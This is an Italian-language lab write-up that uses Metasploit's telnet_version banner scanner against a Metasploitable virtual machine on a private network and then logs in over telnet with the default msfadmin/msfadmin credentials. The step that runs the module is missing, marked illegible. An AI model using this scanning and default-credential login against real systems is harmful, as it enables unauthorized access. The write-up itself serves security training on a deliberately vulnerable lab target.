

Exploit di telnet su meta(192.168.1.40) con l'utilizzo di scanner/telnet/telnet_version.

```
msf6 > search telnet_version
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/telnet/lantronix_telnet_version		normal	No	Lantronix Telnet Service Banner Detection
1	auxiliary/scanner/telnet/telnet_version		normal	No	Telnet Service Banner Detection

Interact with a module by name or index. For example `info 1`, `use 1` or `use auxiliary/scanner/telnet/telnet_version`

```
msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

Module options (auxiliary/scanner/telnet/telnet_version):

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.1.40
rhost => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Settaggio parametri del'exploit e avvio.

[illegible]

Come possiamo notare l'exploit è andato a buon fine mostrandoci le credenziali di accesso msfadmin/msfadmin del servizio telnet.

Verifica

```
(kali㉿kali)-[~]
$ telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^['.

      _ _ _ _ _
     / / / / /
    / / / / /
   / / / / /
  / / / / /
 / / / / /
/_/_/_/_/_

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Thu Sep 21 12:33:14 EDT 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
```